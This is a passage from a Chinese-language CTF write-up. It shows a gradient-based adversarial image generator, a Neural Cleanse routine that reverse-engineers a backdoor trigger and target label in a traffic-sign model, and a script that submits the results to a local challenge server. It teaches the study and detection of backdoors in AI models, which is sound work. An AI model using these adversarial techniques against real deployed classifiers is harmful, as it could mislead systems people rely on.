model.eval()

image = torch.randint(0, 2, (1, 1, 300, 600)) / 1.0
image = torch.cat([image, image, image], dim=1)
criterion = nn.CrossEntropyLoss()

for _ in range(100000):

image.requires_grad = True
pred = model(image)
loss = criterion(pred, torch.tensor([1], dtype=torch.long))
loss.backward()
print(loss.item())

image.requires_grad = False
grad = torch.sum(image.grad, dim=1, keepdim=True)

for x in range(300):
for y in range(600):
if grad[0, 0, x, y] > 0:
image[0, :, x, y] = 0.
else:
image[0, :, x, y] = 1.

transforms.ToPILImage()(image[0].detach().cpu()).save('flag.png')

将图片base64编码后发送即可。

backdoor

点击下载题文件

主要考察的知识点是神经网络图像领域的后门攻击,目标是找出带后门的神经网络模型被污染的标签(target),并推演出攻击者留下后门时所使用的mask和trigger(也可以叫pattern)

相关算法有很多,可以参考复现这篇论文的算法:Neural Cleanse: Identifying and Mitigating Backdoor Attacks in Neural Networks

详细信息:

{B. Wang et al., “Neural Cleanse: Identifying and Mitigating Backdoor Attacks in Neural Networks,” 2019 IEEE Symposium on Security and Privacy (SP), San Francisco, CA, USA, 2019, pp. 707-723, doi: 10.1109/SP.2019.00031.}

Github代码地址:https://github.com/bolunwang/backdoor

由于代码量较大,且涉及很多数据处理的代码,这里只放核心算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
def visualize(self, gen, y_target, pattern_init, mask_init):

# since we use a single optimizer repeatedly, we need to reset
# optimzier's internal states before running the optimization
self.reset_state(pattern_init, mask_init)

# best optimization results
mask_best = None
mask_upsample_best = None
pattern_best = None
reg_best = float('inf')

# logs and counters for adjusting balance cost
logs = []
cost_set_counter = 0
cost_up_counter = 0
cost_down_counter = 0
cost_up_flag = False
cost_down_flag = False

# counter for early stop
early_stop_counter = 0
early_stop_reg_best = reg_best

# vectorized target
Y_target = to_categorical([y_target] * self.batch_size,
self.num_classes)

# loop start
for step in range(self.steps):

# record loss for all mini-batches
loss_ce_list = []
loss_reg_list = []
loss_list = []
loss_acc_list = []
for idx in range(self.mini_batch):
X_batch, _ = gen.next()
if X_batch.shape[0] != Y_target.shape[0]:
Y_target = to_categorical([y_target] * X_batch.shape[0],
self.num_classes)
(loss_ce_value,
loss_reg_value,
loss_value,
loss_acc_value) = self.train([X_batch, Y_target])
loss_ce_list.extend(list(loss_ce_value.flatten()))
loss_reg_list.extend(list(loss_reg_value.flatten()))
loss_list.extend(list(loss_value.flatten()))
loss_acc_list.extend(list(loss_acc_value.flatten()))

avg_loss_ce = np.mean(loss_ce_list)
avg_loss_reg = np.mean(loss_reg_list)
avg_loss = np.mean(loss_list)
avg_loss_acc = np.mean(loss_acc_list)

# check to save best mask or not
if avg_loss_acc >= self.attack_succ_threshold and avg_loss_reg < reg_best:
mask_best = K.eval(self.mask_tensor)
mask_best = mask_best[0, ..., 0]
mask_upsample_best = K.eval(self.mask_upsample_tensor)
mask_upsample_best = mask_upsample_best[0, ..., 0]
pattern_best = K.eval(self.pattern_raw_tensor)
reg_best = avg_loss_reg

# verbose
if self.verbose != 0:
if self.verbose == 2 or step % (self.steps // 10) == 0:
print('step: %3d, cost: %.2E, attack: %.3f, loss: %f, ce: %f, reg: %f, reg_best: %f' %
(step, Decimal(self.cost), avg_loss_acc, avg_loss,
avg_loss_ce, avg_loss_reg, reg_best))

# save log
logs.append((step,
avg_loss_ce, avg_loss_reg, avg_loss, avg_loss_acc,
reg_best, self.cost))

# check early stop
if self.early_stop:
# only terminate if a valid attack has been found
if reg_best < float('inf'):
if reg_best >= self.early_stop_threshold * early_stop_reg_best:
early_stop_counter += 1
else:
early_stop_counter = 0
early_stop_reg_best = min(reg_best, early_stop_reg_best)

if (cost_down_flag and
cost_up_flag and
early_stop_counter >= self.early_stop_patience):
print('early stop')
break

# check cost modification
if self.cost == 0 and avg_loss_acc >= self.attack_succ_threshold:
cost_set_counter += 1
if cost_set_counter >= self.patience:
self.cost = self.init_cost
K.set_value(self.cost_tensor, self.cost)
cost_up_counter = 0
cost_down_counter = 0
cost_up_flag = False
cost_down_flag = False
print('initialize cost to %.2E' % Decimal(self.cost))
else:
cost_set_counter = 0

if avg_loss_acc >= self.attack_succ_threshold:
cost_up_counter += 1
cost_down_counter = 0
else:
cost_up_counter = 0
cost_down_counter += 1

if cost_up_counter >= self.patience:
cost_up_counter = 0
if self.verbose == 2:
print('up cost from %.2E to %.2E' %
(Decimal(self.cost),
Decimal(self.cost * self.cost_multiplier_up)))
self.cost *= self.cost_multiplier_up
K.set_value(self.cost_tensor, self.cost)
cost_up_flag = True
elif cost_down_counter >= self.patience:
cost_down_counter = 0
if self.verbose == 2:
print('down cost from %.2E to %.2E' %
(Decimal(self.cost),
Decimal(self.cost / self.cost_multiplier_down)))
self.cost /= self.cost_multiplier_down
K.set_value(self.cost_tensor, self.cost)
cost_down_flag = True

if self.save_tmp:
self.save_tmp_func(step)

# save the final version
if mask_best is None or self.save_last:
mask_best = K.eval(self.mask_tensor)
mask_best = mask_best[0, ..., 0]
mask_upsample_best = K.eval(self.mask_upsample_tensor)
mask_upsample_best = mask_upsample_best[0, ..., 0]
pattern_best = K.eval(self.pattern_raw_tensor)

if self.return_logs:
return pattern_best, mask_best, mask_upsample_best, logs
else:
return pattern_best, mask_best, mask_upsample_best

详细代码已放置于解题文件夹中,根据model参数文件和提示的target_list调整代码,并运行”./解题/gtsrb_visualize_example.py”,对测试标签列表逐个进行trigger逆向。

10-1737295874

2-1737295874

直接down下来的代码不能直接使用,还需要选手具备神经网络、keras、tensorflow框架相关知识把代码调通,本wp处提供的代码可以直接运行。

跑完之后,比对各个标签的输出信息(我这里自己额外保存了日志文件),会发现label 8的mask norm是最小的,它对应生成的后门mask和pattern最接近真实的后门:

6-1737295875

生成出来的mask和pattern图片如下:

mask.png:

8-1737295875

pattern.png:

3-1737295876

然后执行exp脚本把这两张图base64编码后发送到服务器,通过校验,返回flag:

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import base64
import requests

# 读取图片并转换为base64编码
def image_to_base64(image_path):
with open(image_path, "rb") as image_file:
return base64.b64encode(image_file.read()).decode('utf-8')

# 图片路径
mask_image_path = './results/gtsrb_visualize_mask_label_8.png'
pattern_image_path = './results/gtsrb_visualize_pattern_label_8.png'

# 获取两张图片的base64编码
mask_base64 = image_to_base64(mask_image_path)
pattern_base64 = image_to_base64(pattern_image_path)

# 发送POST请求,将base64编码的图片传给服务端
url = 'http://127.0.0.1:5000/upload' # 服务端地址
data = {
'mask': mask_base64,
'pattern': pattern_base64
}
response = requests.post(url, json=data)

print(response.text)